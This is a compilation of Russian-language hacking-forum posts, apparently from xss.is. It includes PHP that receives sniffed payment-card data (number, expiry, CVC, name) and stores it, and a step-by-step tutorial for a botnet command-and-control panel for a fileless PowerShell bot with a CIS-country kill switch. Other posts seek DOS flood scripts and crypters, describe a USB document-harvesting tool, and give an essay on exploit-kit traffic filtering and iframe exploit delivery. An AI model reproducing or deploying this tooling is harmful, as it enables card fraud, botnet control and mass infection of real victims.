$json_decoded_object = json_decode(base64_decode($_GET['sniffed_data']), true);
//Коннектимся к базе данных
$dsn = 'mysql:dbname=cards;host=127.0.0.1;charset=utf8';
$user = 'root';
$password = 'root_password';
//Создаем обьект PDO и коннектимся к базе, в случае неудачи выводим ошибку
try{
$pdo = new PDO($dsn, $user, $password);
echo "Connection success";
}catch (PDOException $e){
echo 'Connection failed: ' . $e->getMessage();
}
//Подготавливаем запрос для защиты от иньекций
$statement = $pdo->prepare("INSERT INTO сс VALUES(NULL, :cardnumber, :cardexperation, :cardcvc, :name, :lastname)");
//Исполняем запрос
$statement->execute(array(
"cardnumber" => $json_decoded_object['cc_number_key'],
"cardexperation" => $json_decoded_object['cc_exp_key'],
"cardcvc" => $json_decoded_object['cc_cvc_key'],
"name" => $json_decoded_object['name_key'],
"lastname" => $json_decoded_object['lastname_key']
));
}
На этом этапе написание снифера закончено, это была моя первая статья и надеюсь вам она была полезна, или как минимум интересна. Задавайте любые вопросы в личку или в теме, буду рад ответить - возможно этим вопросом задались не только вы.
Данная статья продублирована на експе.
Автор - C4T
Категорически приветствую, XSS'овцы, спустя две недели продолжаю ~~пилотный~~
цикл статей по созданию безфайлового бота на повершелле. В прошлых статьях для
получения команд мы использовали XML-подобные конструкции хранящиеся в
текстовике на диске. В этой части мы напишем хоть простую, но всё же
полноценную админ панель для нашего бота.
В этой статье мы рассмотрим: Сам бэкенд на PHP, Фронт-енд на bootstrap'e4,
Создание и структура БД MySQL, Разбор API для работы с БД. Их плюсы и минусы
(PDO и MySQLi), Защиту от XSS и SQL-инъекций. Теперь пора бы и делом заняться.
Для начала подправим наш код бота.
Первым делом мы добавим защиту от СНГ стран. Получим текущий язык системы и
региональные параметры, установленные в операционной системе используя функцию
Get-Culture а после циклом проверим код стран и язык системы, и если
обнаружится снг код, то просто выйдем. Сама функция выглядит так:
PHP:Copy to clipboard
function anti-cis(){
$culture = (Get-Culture).Name
$cis = @('az', 'am', 'by', 'ge', 'kz', 'kg', 'md', 'ru', 'tj', 'tm', 'uz', 'ua')
foreach($code in $cis){
if($culture.Contains($code)){
Write-Host "CIS DETECTED"
exit
}
}
}
Ещё нам нужно немного переделать и дополнить мэйн код. Создадим цикл
While($true) для того, чтобы делать запрос на сервер каждые 60 секунд (можно
увеличить или уменьшить, по желанию). Добавим переменную, содержащую домен
нашей панели, далее получим системные данные: GUID ПК, имя юзверя, версию
винды и её разрядность. Далее отправим гет запрос с этими данными на гейт.
Этим же запросом получаем JSON инструкции задач, обработаем все JSON-
инструкции (ищем по регулярке) циклом, и если в js-тэге "targetVictims" будет
указан наш гуид машины, или тег ALL, то попробуем выполнить задачу, после чего
отправим запрос о успешном выполнении таска. Мэйн теперь выглядит так:
(Вызов anti-cis сделан до главного кода, дабы не делать запрос на сервер, если
это СНГ машина)
Можем перейти к главному.
Панель.
Так как у меня плохо (я бы даже сказал ужасно) с вёрсткой, в качестве
фронтенда мы возьмём публичный bootstrap4 шаблон Target-Free-Bootstrap-Admin-
Template прямиком с [гитхаба](https://github.com/webthemez/Target-Free-
Bootstrap-Admin-Template)
Первым делом создаём файл header.php, с шапкой нашей панельки. В PHP код
добавим простую функцию writeCardImage которая принимает аргументы $desc
(описание), $count (число), $colmd (число, по дефолту 3), эта функция будет
создавать новый блок такого вида:
В таких блоках мы будем хранить инфу о текущем состоянии ботов (Количество
всех ботов, кол*во ботов которые онлайн и офлайн).
в хеде добавляем ссылки на все css стили, в body подключаем все JS файлы. На
этом с хедером, пока что всё.
Создаём новый каталог с именем app, в котором будут находиться вспомогательные
файлы, конфиги, и т.д. В этом каталоге создаём config.php. Файл содержащий
данные для подключения к базе данных, а так же данные для входа в панель
(юзернейм и пароль в MD5):
PHP:Copy to clipboard
<?php
$config = array("db_host" => "localhost",
"db_user" => "root",
"db_pass" => "",
"db_name" => "powerbot", // DB NAME
"usrname" => "admin", // Admin Login
"usrpass" => "21232f297a57a5a743894a0e4a801fc3"); // Hashed pass
?>
Прежде чем перейти к коду гейта и дэшборда, мы отвлекёмся на создание БД и возможные уязвимости в панели.
Создание и структура Базы Данных.
Работать будем с MySQL и phpMyAdmin.
Боты.
Всего в таблице будет 2 таблицы - информация о ботах и задачи для них. Создаём
новую таблицу с именем bots , которая содержит 7 полей. Тип каждого
varchar , сравнение utf8_general_ci. В первом поле создадим GUID
компьютера жертвы (для того, чтобы создавать отдельные задания с конкретными
целями), длина значения 32. Стоит упомянуть, что все поля будут содержать
минимально возможное количество символов, об этом будет чуть позже. Следующие
поле username , содержащие имя текущего пользователя, 30 символов. Третье
поле os содержит версию Windows и её разрядность, 18 символов. Следом поле
ip , 15 символов. Пятое поле firstOnline - дата первого запуска бота в
формате число.месяц.год час.минута.секунда , 21 символ. Похожее поле
lastOnline , но уже дата последнего выхода бота в сеть, так-же 21 символ. И
последнее поле в этой таблице - lastExTask , имя последнего выполненного
задания, 20 символов.
Таски.
Вторая таблица - tasks содержит 6 полей: taskName(имя задания, varchar, 20
символов), currentEx(текущие количество ПК, выполнивших таск, int, 255),
maxExCount (максимальное кол-во ПК выполнивших заданий, int, 255),
targetVictims(содержит guid(ы) целевых машин или тег ALL, для всех ботов,
varchar, 32), command(команда в формате XML, text, без ограничений по
символам), последнее поле taskStatus(статус задачи, 1 - если задача
выполнена, 0 - в противоположном случае, int, 1)
С структурой и созданием БД закончим, перейдём к более интересному вопросу: Какой API использовать?
Что использовать: PDO или MySQLi? Плюсы и минусы обоих апи.
При работе с базами данных в PHP, у нас есть два варианта для подключения к
бд: MySQLi и PDO. Рассмотрим основные преимущества и недостатки обоих
вариантов.
Поддержка формата баз данных. PDO поддерживает 12 типов бд (MS SQL, Oracle,
MySQL, и так далее), в то время, как с mysqli можно работать только с MySQL.
+1 PDO.
И PDO, и MySQLi имеют поддержку объектно-ориентированного API, но MySQLi
помимо этого имеет процедурный API, который упрощает понимание синтаксиса
(гораздо легче даётся новичкам). +1 Mysqli.
Безопасность. Обе библиотеки обеспечивают защиту от SQL-инъекций, если у
кодера руки растут с нужного места, конечно. Но что использовать безопасней? У
mysqli есть mysqli_real_escape_string(), который экранирует входящую строку,
но при этом все кавычки вам придётся добавлять самим, не очень удобно, да? В
пдо всё немного попроще, имеется метод PDO::quote(), который помимо
экранирования строки самостоятельно помещает ей между кавычек. Рассмотрим
пример обработки строки у обоих библиотек.
Входящая строка: " ' ; DELETE FROM users; /* ".
Результат mysqli, после обработки: \'; DELETE FROM users; /*
PDO: '\'; DELETE FROM users; /*'
Небольшой итог:
PDO, как по мне вариант гораздо лучше (и привычней)), одна лишь поддержка 12
типов баз данных перекрывает все минусы и неудобства. Со стороны безопасности
фаворитов нет, т.к в осном это зависит лишь от опыта кодера. Поэтому в этой
статье работать мы будем с PDO.
Вернёмся к созданию панели.
Для того, чтобы принимать новых ботов, нам понадобиться гейт (Простая страница
заносящая данные о боте в бд и выдачи тасков).
Первым делом создаём PDO подключение к бд, далее делаем запрос к бд, для
получения инструкций (статус которых равен нулю(незавершенны)), проходимся по
каждой и энкодим все инструкции в JSON-формат и выводим весь JSON текст:
PHP:Copy to clipboard
require 'app/config.php';
$connect = new PDO('mysql:host='.$config['db_host'].';dbname='.$config['db_name'], $config['db_user'], $config['db_pass']); // PDO Connect
$resp = $connect->query("SELECT `taskName`, `targetVictims`, `command` FROM `tasks` WHERE `taskStatus` = '0'"); // Get tasks
$rows = $resp->fetchAll(PDO::FETCH_ASSOC);
$pageContent = "";
foreach($rows as $row) {
$row['command'] = htmlspecialchars($row['command'], ENT_QUOTES); // format command string
$pageContent .= json_encode($row); // encode to json
}
echo $pageContent;
Далее проверяем, является ли запрос к гейту GET запросом, создаём переменные
$exTime - время запроса к гейту, $guid - гет параметр, содержит гуид ПК,
$userIP - IP адресс, откуда поступил запрос, $task - имя выполненного
таска (если запрос не первый), $status - статус таска.
Далее проверяем, есть ли в бд запись с полученным GUID'ом, если есть то
обновляем время последнего онлайна и IP (на случай, если у жертвы динамический
айпишник), если записей в БД нет, тогда бот новый, соответсвенно создаём новую
запись с его данными. Код:
PHP:Copy to clipboard
if ($_SERVER['REQUEST_METHOD'] == "GET") {
$exTime = date("d.m.Y H:i:s"); // time
$guid = $connect->quote($_GET["guid"]);
$userIP = $connect->quote($_SERVER["SERVER_ADDR"]); // ip
$task = $connect->quote($_GET["taskName"]);
$status = $_GET["status"];
if(isset($guid)){ // if guid != nulled value
$resp = $connect->query("SELECT * FROM `bots` WHERE `guid` = $guid");
if($resp->fetch(PDO::FETCH_ASSOC) != 0){ // if user exists
//echo "user already exists";
$connect->query("UPDATE `bots` SET `lastOnline` = '$exTime' WHERE `guid` = $guid"); //update last online
$connect->query("UPDATE `bots` SET `ip` = $userIP WHERE `guid` = $guid");
}
else{
//echo "new bot";
$userName = $connect->quote($_GET["username"]);
$osName = $connect->quote($_GET["os"]);
//add new bot
$connect->query("INSERT INTO `bots` (`guid`, `username`, `os`, `ip`, `firstOnline`, `lastOnline`) VALUES ($guid, $userName, $osName, $userIP, '$exTime', '$exTime')");
}
}
После этого получаем задание с именем переданным в гет запросе, проверяем, является ли статус задание успешным, и если это так, обновляем последние выполненное задание бота, проверяем, равно ли текущие кол-во запусков максимальному, если равен, тогда обновляем статус задания, иначе обновляем кол-во текущих запусков:
PHP:Copy to clipboard
if(isset($task) and isset($status) and isset($guid)){
$taskInfo = $connect->query("SELECT * FROM `tasks` WHERE `taskName` = $task")->fetch(PDO::FETCH_ASSOC);
$taskName = $taskInfo["taskName"];
$crCounts = intval($taskInfo["currentEx"]);
$maxExCnt = intval($taskInfo["maxExCount"]);
$taskStatus = intval($taskInfo["taskStatus"]);
if ($status == "success") {
$connect->query("UPDATE `bots` SET `lastExTask` = $task WHERE `guid` = $guid");
if($crCounts == $maxExCnt){
if($taskStatus = 0) $connect->query("UPDATE `tasks` SET `taskStatus` = '1' WHERE `taskName` = $task");
}
else{
$crCounts++;
$connect->query("UPDATE `tasks` SET `currentEx` = '$crCounts' WHERE `taskName` = $task");
if($crCounts == $maxExCnt){
$connect->query("UPDATE `tasks` SET `taskStatus` = '1' WHERE `taskName` = $task");
}
}
}
}
С гейтом всё, переходим к главной странице.
Создаём файл dashboard.php, подключаем все библиотеки, стили, хедер, конфиг,
так-же создаём коннект к бд. Получаем список всех ботов и все задания из базы,
сохраняем их в отдельные переменные:
PHP:Copy to clipboard
require 'app/config.php';
$adminName = $config["usrname"];
require 'header.php';
require 'sidebar.php';
$connect = $connect = new PDO('mysql:host='.$config['db_host'].';dbname='.$config['db_name'], $config['db_user'], $config['db_pass']);
$bots = $connect->query("SELECT * FROM `bots`");
$tasks = $connect->query("SELECT * FROM `tasks`");
Обработаем запросы, если в пост запросе содержится поле taskName , добавляем новую запись в таблицу tasks:
PHP:Copy to clipboard
if(isset($_POST["taskName"])){
// formatting strings
$taskName = $connect->quote($_POST["taskName"]);
$maxEx = $connect->quote($_POST["maxEx"]);
$Victims = $connect->quote($_POST["targetVictims"]);
$command = $connect->quote($_POST["command"]);
//req to db
$connect->query("INSERT INTO `tasks` (`taskName`, `maxExCount`, `targetVictims`, `command`) VALUES ($taskName, $maxEx, $Victims, $command)");
//refresh page
echo "<script>location.replace('dashboard.php')</script>";
}
Если в гет запросе присутствует переменная delete_taskname, удаляем задачу с бд, если в запросе передаётся action=logout - очищаем сессию и редиректим на login.php:
PHP:Copy to clipboard
if(isset($_GET["delete_taskname"])){
$taskToDelete = $connect->quote($_GET["delete_taskname"]);
$connect->query("DELETE FROM `tasks` WHERE `taskName` = $taskToDelete");
echo "<script>location.replace('dashboard.php')</script>";
}
if(isset($_GET["action"])){
$action = $_GET["action"];
if($action == "logout"){
session_destroy();
echo "<script>location.replace('login.php')</script>";
}
}
В HTML коде добавляем 3 блока, которые будут выводить информацию о онлайне ботов:
Code:Copy to clipboard
<?
$allBots = $bots->rowCount();
writeCardImage('Total Bots', $allBots, 4); // All Bots
$date = date("d.m.Y");
$time = date("H:i");
$onlineBots = 0;
$lastOnline = $connect->query("SELECT `guid`, `lastOnline` FROM `bots`");
while ($bot = $lastOnline->fetch(PDO::FETCH_ASSOC)) {
if(strContains($bot["lastOnline"], $date)){
$botTime = explode(" ", $bot["lastOnline"]);
$last = explode(":", $botTime[1]);
$lastTime = $last[0].":".$last[1];
if($lastTime == $time || $last[0].":".($last[1] + 1) == $time){
$onlineBots++;
}
}
}
writeCardImage('Online Bots', $onlineBots, 4);
writeCardImage('Offline Bots', $allBots - $onlineBots, 4);
?>
Теперь нам нужно вывести информацию о ботах, но перед этим стоит упомянуть о возможных XSS уязвимостях и методах защиты от них.
Защита от XSS.
На этом этапе затронем методы защиты от межсайтового скриптинга.
В большинстве случаях хранимые ксски хранятся в таблицах бд, которые выводят
информацию на страницу.
Первый, и пожалуй, самый простой способ защита от stored-xss - ограничения
символов хранимых в таблице. На этапе создания таблицы bots для каждого
столбца мы установили ограничения.
Где самое большое, допустимое количество символов у столбца - 32 в guid и 30 в
username.
Эти данные передаются в GET запросе, вместо данных о имени юзера можно передать строку вида , которые сохраняться в бд, и после того, как
мы залогинемся в админке этот код будет выполнен.
Для этого мы и используем ограничение символов. Длина возможного, вредоносного
кода ~40 символов, но т.к строка username сохранит лишь первые 30 символов,
поэтому вредоносный код выполнен не будет.
Предотврощаем XSS при помощи HTML Purifier.
Фильтрация данных, выводимых на страницу является самой важной частью защиты
от межсайтового скриптинга. Большинство кодеров, в качестве обработки строк
использует функции htmlspecialchars() и/или strip_tags() с вайт листом
доступных символов. Так же можно использовать связку нескольких функций,
обрабатывая каждую строку, пример:
PHP:Copy to clipboard
function checkParam($param)
{
$formatted = $param;
$formatted = trim($formatted);
$formatted = stripslashes($formatted);
$formatted = htmlspecialchars($formatted);
return $formatted;
}
Но в нашей панели мы будем использовать более продвинутое решение - библиотеку
HTML Purifier. Что же делает эта библиотека?
Она очищает любой html код от всех вредоносных, невалидных, запрещенных (вашей
конфигурацией) частей кода, в том числе отдельные атрибуты внутри тегов.
Минусом является то, что мы сами должны определить, какие атрибуты будут
недопустимы. По умолчанию библиотека также не содержит всех «стандартных
атрибутов», таких как contenteditable, поэтому нам также необходимо их
добавить самостоятельно.
Рассмотрим всё на примере:
Исходный код:
HTML:Copy to clipboard
<p invalidAttribute="value">Test String <strike>strike</strike>:</p>
<script type="text/javascript">alert("XSS.is");</script>
После обработки:
HTML:Copy to clipboard
<p>Test String <span style="text-decoration:line-through;">strike</span>:</p>
Как видим, JS код был отфильтрован. Подключим эту библиотеку к нашей панели.
Распакуем архив с библиотекой в папку app:
В config.php подключаем файл HTMLPurifier.auto.php а так же создадим простую конфигурацию:
PHP:Copy to clipboard
require 'HTMLPurifier.auto.php';
$HTMLPconfig = HTMLPurifier_Config::createDefault();
$HTMLPconfig->set('Attr.AllowedClasses',array('header'));
$HTMLPconfig->set('AutoFormat.AutoParagraph',true);
$HTMLPconfig->set('AutoFormat.RemoveEmpty',true);
$HTMLPconfig->set('HTML.Doctype','HTML 4.01 Strict');
$purifier = new HTMLPurifier($HTMLPconfig);
Для вывода информации из бд мы будем использовать функцию purify. Вернёмся к дэшборду.
Для вывода информации мы будем использовать таблицу, а так-же воспользуемся
интересным дополнением к JQuery - DataTables.
DataTables - это плагин для библиотеки jQuery. Это очень гибкий инструмент,
построенный на основе прогрессивного улучшения, который добавляет следующие
функции в любую HTML-таблицу: нумерация страниц и выбор кол-ва выводимых
столбцов, мгновенный поиск (фильтр по тексту).
Создадим таблицу, которая выводит данные о ботах:
PHP:Copy to clipboard
<div class="row">
<div class="col-md-12">
<!-- Advanced Tables -->
<div class="card">
<div class="card-action">
Bots List
</div>
<div class="card-content">
<div class="table-responsive">
<table class="table table-striped table-bordered table-hover" id="dataTables-example">
<thead>
<tr>
<th>GUID</th>
<th>Username \ IP</th>
<th>OS</th>
<th>Last Online</th>
<th>Last Task</th>
</tr>
</thead>
<tbody>
<?
while ($bot = $bots->fetch(PDO::FETCH_ASSOC)) {
echo "<tr>
<td>".$purifier->purify($bot["guid"])."</td>
<td class='center'>".$purifier->purify($bot["username"]." \ ".$bot["ip"])."</td>
<td>".$purifier->purify($bot["os"])."</td>
<td>".$purifier->purify($bot["lastOnline"])."</td>
<td>".$purifier->purify($bot["lastExTask"])."</td>
</tr>";
}
?>
</tbody>
</table>
</div>
</div>
</div>
<!--End Advanced Tables -->
</div>
</div>
Теперь панель выглядит примерно так:
Подобную же таблицу создаём для тасков (фулл код будем в аттаче к статье):
Для добавления нового задания используется Modal Form:
На этом с главной странице закончим. Перейдём к авторизации.
Тут решил сильно не заморачиваться накидал простую форму с таким кодом:
HTML:Copy to clipboard
<?php
session_start();
if(isset($_POST["user"]) && isset($_POST["pass"])){
require 'app/config.php';
$user = $_POST["user"];
$pass = $_POST["pass"];
if($user == $config["usrname"] && MD5($pass) == $config["usrpass"]){
$_SESSION["auth"] = true;
echo "<script>location.replace('dashboard.php');</script>";
}
}
if($_SESSION["auth"] == true){
echo "<script>location.replace('dashboard.php');</script>";
}
?>
<!DOCTYPE html>
<html>
<head>
<title>PowerBot | Login</title>
<meta charset="utf-8" />
</head>
<body>
<form action="login.php" method="POST">
<label>Login: </label>
<input type="text" name="user">
<br>
<label>Passw: </label>
<input type="password" name="pass">
<br>
<button type="submit">Sign-in</button>
</form>
</body>
</html>
В остальных php файлах так-же добавляем проверку на наличие сессии. На этом всё.
Итог.
В этой части статьи мы рассмотрели пример создания простой админ-панели на
PHP, так-же рассмотрели разные способы защиты от популярных уязвимостей.
Возможно функционал панели немного скудноват, можно было добавить пару чартов
с статистикой по ботам, или другие фичи, но конкретно эта панель являеться
лишь примером. Все файлы прикреплены к посту, пароль местный.
(c) V1rtualGh0st специально для XSS.is <3.
Первая часть - https://xss.is/threads/37391
Вторая часть - https://xss.is/threads/45238/
Я решил выучить php, взял книжку, учю, но там не чего не сказанно про работу с
socketами. Ну да ладно. ) Помогите написат или растолковать готовый скрипт(php) для dos атак, на примере udp и syn флуда. Да ещё, меня интересует как задать кол-во socket
ов, время атаки, и время
между создания socket`ами.
Заранее благодарен, жду ответов с не терпением!
Вопрос: от нефиг делать решил смастерить в Basic`e небольшую игрушку и
захотелось сделать её полноэкранной. Перерыл семь мануалов, но так ничего и не
нашел.
Можно ли это сделать в принципе? :help:
Всем Аве!
Столкнулся с такой вот проблемой. Не могу понять, как изменить цвет bg при нужных мне значениях.
Как пример:
У меня есть окно по середине страницы.
В этом окне есть текстовое поле.
При вводе в это поле значения по типу 432 (ключевая 1 четверка) цвет самого окна(НЕ СТРАНИЦЫ) меняется на желтый
Если это значение 5, на красный.
И т.д.
Не понимаю как это реализовать. Прошу помощи
Заранее спасибо
До сегодняшнего дня я создавал проги на заказ...
Продавал.. всяким сайтам.. но копирайты оставлял за собой, а так как никому
верить нельзя использовал Zend SafeGuard для зашифровки файлов. Но у него есть
недостаток на стороне сервера должен быть установлен Zend Optimizer для того
чтоб сервер мог работать с данным файлом..
Вобщем столкнулся я с такой проблеммой пару минут назад...
Один из заказчиков плотит солидную сумму за скрипт.. но у него на серве нету
Оптимайзер-а и зашифрованный скрипт он не сможет читать и воспринимать
нормально..
Я к вам с таким вот вопросом.. как защитить мой сурс код? ну хоть частично..
нужен ссорс криптора
именно чтобы после криптации файл работал
или плиз литературу как реализовать на ВБ6
Всем привет!
Так. Читаю стандарт SMTP и не вижу какой командой задать тему отправляемого письма?? Это же вроде бы - Subject да? Но господа! НЕТ! Не она!!! Не подскажете что это?
И еще! Как прикрепить файл к письму? Тоже не понимаю! Если кто может объяснить, то буду очень признателен! Спасибо!
PS: google и тд - спрашивал...
Добился неплохих результатов распознавания CAPTCHA Mail.ru.
50-60% вероятность распознавания CAPTCHA на странице регистрации
80% при отправке письма
Занимаюсь китайской CAPTCHA Mail.ru. Результаты появляются отличные. Обучил свою OCR, символы расспознаются на ура. Остался алгоритм разбиения всей CAPTCHA на кластеры (сегментация), но учитывая её особенности большую проблему это не создает.
Yandex.ru на порядок сложнее распознать, но некоторые успехи достигнуты. Здесь имеются значительные проблемы с сегментацией, похоже сотрудники Yandex, в отличае от Mail.ru, все же знали что делают. Достаточно присмотреться и обнаружить белые линии на CAPTCHA разрезающие контуры цифр.
Занимался ли кто данной темой? Интересно знать результаты. Готов пообщаться в привате. Тема очень интересная.
Нуждаюсь в панели без жс и с поддержкой хеширования пасса в sha256 + динамическая соль.
Возможно сотрудничество с веб кодерами на постоянной основе.
Вот написал программу хотел бы узнать мнение людей о ней
gryllotalpa-mini, умеет делать следующее
• Рекурсивный поиск и копирование файлов с расширением doc, xls, rtf
• Копирование файлов в каталог Data, создаваемый на том же диске, что и
запускаемая программа
• Ведение журнала действий программы
Работает в режиме, запустил и забыл.
Служит для запуска с флешки, выбрал диск или папку на котором информация, запустил программу ............ потом отмонтировал флешку и пошел домой смотреть, что программа насобирала
Может кому будет интересна, нужна
подключайтесь к развитию программы идей масса, а времени реализовывать очень мало
пишите здесь свои отзывы.......................
Задавайте вопросы, постараюсь ответить на то, что знаю
Пишу верстку на html и css.
В css указываю position: static; и расположение по left и top. В html создаю
каскад из одного главного блока, в котором два мелких - хидер и контент.
В итоге, на моем размере экрана все норм, когда ставлю меньше/больше или
телефоны - все съезжает в правый бок и сжимается вместе.
В чем может быть ошибка? И какую лучше позицию использовать в css?
Кто-нибудь сталкивался с такой средой программирования (неподходящее слово..) как LabVIEW (G language)???
Если найдутся единомышленники - будет замечательно.
Кто хочет узнать подробнее - обращайтесь...
LabVIEW - графический язык программирования для создания виртуальных
лабораторий и приборов.
В принципе, можно писать и вирусы, и даже управляемые через Сеть напрямую
узлы.
Работает чуть-чуть медленнее C++ (по заверениям создателей).
вот пинч высылает отчеты со всякими пасами и т.д. херотой, но по мимо высылает еще инфу о системе а именно название страны и язык который юзается на системе ... (результат работы апи функции GetLocaleInfo())
собственно интересует у фрицов язык на системе опеределяется как "Deutsch" или по не немецки пишется ( вроде тоже самое тока буква 'u' с двумя точками сверху )
гляньте если не сложно
Созадл тему,так как не смог найти нигде...в поиск ходил,тоже не нашел..если че
не пинайте плз)
Нужна ссылка на перл компилятор!в поисковиках выдает одну муть и статьи..дайте
пожалуйста компилятор новенький.Буду очень благодарен!
Здраствуйте.
Народ я начинающий кодер на ассемблере, т.к. у меня проблема с "HELLO
WORLD"-ом... Наварно вам смешно, но это так..
Я написал 2 исходника: под EXE , и под COM ... дело в том, что COM-овский
получился, а вот проблема с EXE-шником :bang:
Компилятор: TASM 5.0
Имя исходного кода: HELLO(.asm)
Выдает ошибку:
Assembling file: hello.asm
Error hello.asm(2) Undefined symbol: DATA
Error hello.asm(3) Undefined symbol: DATA
Error hello.asm(5) Undefined symbol: MES
Error hello.asm(14) Illegal instruction
Error hello.asm(15) Code or data emission to undeclared segment
Warning hello.asm(16) Unmatched ENDS: DATA
Error messages: 5
Warning messages: 1
Passes: 1
Remaining memory: 452kClick to expand...
А вот сам исходный код:
Code:Copy to clipboard
Code segment
Assume CS:code, DS:data
mov AX, data
mov DS, AX
mov DX, offset mes
mov AH, 9
int 21h
mov AH, 10h
int 16h
mov AX, 4C00h
int 21h
code ends
Data cegment
mes db 'HELLO, WORLD!', 13, 10, '$'
data ends
end
Помогите исправить ошибку.. :sorry:
Знаете ли вы о максимальном до невероятности способе сжатия? Или о конкурсах
ASSENBLY или BREAKPOINT? Наверное нет. Поетому
представляю вашему вниманию 64 kb intro. Ето шедевры програмирования на
ASSEMBLER-е. Формат файла *.exe. Карты генерируютса в нереальном
времени по кодам и формулам. Существует не только видео но, и игры, созданные
таким образом. Лидеры-производители такой продукцыи являютса
немецкая група Farbrausch и венгерская Conspiracy. Их продукцию можете скачать
здесь:
http://www.farb-rausch.de/
http://conspiracy.hu/
Программы для создания подоьного можете скачать здесь:
http://conspiracy.hu:80/releases/aDDict2_Public.zip
ftp://145.24.145.100:21/pub/resources/dem...zeug1_v1200.zip
Вообщем вопрос такой можно ли написать какой-нить спецефический вирус,который можно написать только в qbasic?
Кто какие знает пасхальные яйца? (для тех кто не в курсе, пасхальные яйца -
приколы такие, когда присоздании программы люди работающие над ней делают
какие-нибудь штуки не в тему).
Например:
1)Например если в Delphi в меню Help->About при нажатой клавише Alt набрать
TEAM получиться... сами проверьте. Проверено на всех версиях.
2)Или вот в ворде напишите "Хочу избежать службу в армии"(без ковычек), а
потом двойным щелчком кликнуть на книжку внизу экрана (проверка орфографии) он
выдаст прикольную вещь.
3)При игре в сапёр (MSMineSwapper рулит!!)) при зажатом шифте наберите xyzzy..
и начните новую игру, в правом верхнем углу появится белый пиксел, который
ичезает при наведении курсора на клетку с бомбой...
4)Вот еще вспомнил там же, в ворде, ввести "правоспособность-способность лица
иметь гражданские права и нести обязанности" (без ковычек). Только не все
сразу догоняют что случилось.
Мужики дайте мне плиз литру по php.
Люди, помогите,кто сможет,кому не трудно.
Нужно снять обфускацию с кода,чтобы код потом оставался нормально рабочим.
Файл прилагаю.
Опыт грязного ремесла.
Почему я назвал именно так? Потому что я никогда не считал тем что делаю правильным или нужным во благо людям, я прекрасно осознаю что это делается для корыстных целей для обмана/кражи и т.п. и всё это ради денег, которые в итоге всех их губят, поэтому всё справедливо каждый получает своё...
Меня в этой сфере интересовало лишь одно - люди, я всегда старался понять их ход мышления, я не учился программированию, я учился мыслить по другому, только так я научился видеть то чего не видел раньше в том чего уже знал.
Я не претендую на правильность своих мыслей это всего лишь эксперименты из
моего опыта, которые приносили определённые результаты в течение разного
времени, отмечу что тут все мои мысли вперемешку без хронологии, к чему-то я
пришёл уже очень давно, а что-то решил недавно.
Тут не будет готово кода или чего-то подобного, кто достоит понять, тот и так
всё поймёт.
Часть 1. Связки.
Давным давно ещё когда мне приходилось делать связки я конечно же был далеко
не первым и не делал сплойты. Всё было точно так же как и сейчас брали паблик
сплойт, потом уже покупали через 10ые лицы приватные от реверсеров и вязали
связки.
Смотря сейчас и сравнивая с тем что бы пару лет назад хочу сказать ничего не
поменялось всё на том же уровне, очень странно но это так, хотя не без
исключений.
Я поделюсь своим опытом из своих экспериментов при связкописании.
1. Первое что хочу отметить связка это не всего лишь админка которая
показывает красивые статы, в первую очередь это интеллектуальная система
которая анализирует трафик для того что бы подобрать подходящий сплойт на
выдачу. Поэтому меня до сих пор удивляют связки по 600-1к+ в которых весь
вывод идёт сплошным js кодом сплойтов один за другим, кто-то ставит таймеры,
кто-то ставит переменные и ловит их выполнение...
Так вот я всегда руководствовался тем что прежде чем что-то делать нужно это
придумать, даже если оно уже придумано. Ведь все мы люди и все мы разные, а
значит и мыслим по разному. Мои изучения были наложены на сбор статистики, что
бы понять как правильно нужно выдавать сплойты нужно было понять для чего их
приходится выдавать. Были созданы мной совместно с моим партнёром 47 скрипты.
Статистику собирали следующую:
- ОС их версии
- Браузеры и их версии
- Плагины в браузерах и их версии (до сих пор нигде не встречал этого ну
кроме последних где pdf и flash определяется, а ведь странно потому что
сплойты 90% это баги в плагинах)
Сейчас думаю это не будет секретом очень много генеренного трафика, добавив
проверку на работу js и простую проверку с куками и редиректом можно его
отсеить и увидеть кстати внушительные цифры если собрать в отдельную стату он
будет не меньше 10% что уменьшают пробив пустой выдачей сплойтов, а это уже
недоработка связки.
Так вот анализ трафика с разных источников по этим данным показал довольно
ясную картину на сколько этот трафик вообще пробиваемый. Но что самое главное
в чём была суть определить % наличия уязвимых плагинов под которые есть
сплойты.
Даже после такого анализа можно только примерно составить процент пробива на
данном трафике.
И так идём дальше ближе к кодерской сути.
Для правильной выдачи сплойтов мы использовли определение js и проверку кук,
ОС, Браузера, учитывая версии, определять наличие уязвимого плагина в браузере
и только после этого собирать выдачу из подходящих вариантов или делать бэк
редирект.
Что касается о самой выдачи сплойтов о чём я писал выше, вариант со сплошной
выдачей, таймерами и переменными в моих экспериментах показали себя хуже чем
мой вариант с ифреймами.
Небольшая ремарка: 47 в новых тестах сказал что моя версия работает похуже и
сделал новую свою выдачу, поэтому решать на сколько это хорошо вам.
Что же это за ифреймы, постараюсь объяснить с начало теорию почему я к ним
пришёл.
И так моя логика пошла от работы самого сплойта, т.е. это выполнения шеллкода
в выделенном участке памяти другого процесса. И тут я подумал а что же бывает
когда мы выполняем по 3-4 сплойта в одном и том же процессе но используем
разные уязвимости только получается эффективность должна снижаться и вообще
могут быть непредсказуемые последствия типа overflow т.к. сплойты не
предназначены для параллельной работы.
А что из себя представляют ифреймы - это как я думаю всё же дочерние процессы
или отдельные как в некоторых браузерах табы, которые независимые друг от
друга их объединяет только процесс-родитель, а значит мы получаем место
полигона для каждого сплойта. Таким образом после проведения анализа я сделал
выдачу в ифреймах каждый сплойт подгружался в отдельном. Работать они стали
значительно быстрее и эффективность пробива увеличилась.
В заключение хочу сказать про крипторы выдачи. Криптор должен не только уметь разбавлять код или обфусцировать но и иметь пакер, чем больше размер сплойта тем меньше вероятность его выполнения, всё таки он стоит не на самом сайте а грузиться через ифрейм который является внутренней страницей сайта и может быть выгружен или произойти редирект и сплойт не успеет отработать, а его время выполнения зачастую зависит от параметров железа юзера т.к. js выполняется на стороне клиента а не сервера. Так же криптор не должен иметь кучи циклов которые могут привести к ошибкам браузера, например ФФ все его функции так или иначе связаны с js всякие настройки модули и порой даже в обычном коде они вызывают ошибки пока не перезапустишь браузер, поэтому стоит это обязательно учитывать.
Думаю на этом можно подвести итог.
Часть 2. Админки для троянов.
Многие кто пишут админки зачастую начинающие кодеры или вообще не вебкодеры а
прикладные пытающиеся написать самому админку что бы никому не надо было
платить или с кем-то делиться.
Из своих наблюдей и опыта могу лишь поделиться некоторыми особенностями в этом
деле, т.к. что бы написать админку для серьёзного ботнета мало знать просто
php и mysql их нужно отлично знать, а главное нужно понимать весь принцип
работы что бы делать заплатки на все узкие места которых в таких проектах
очень много.
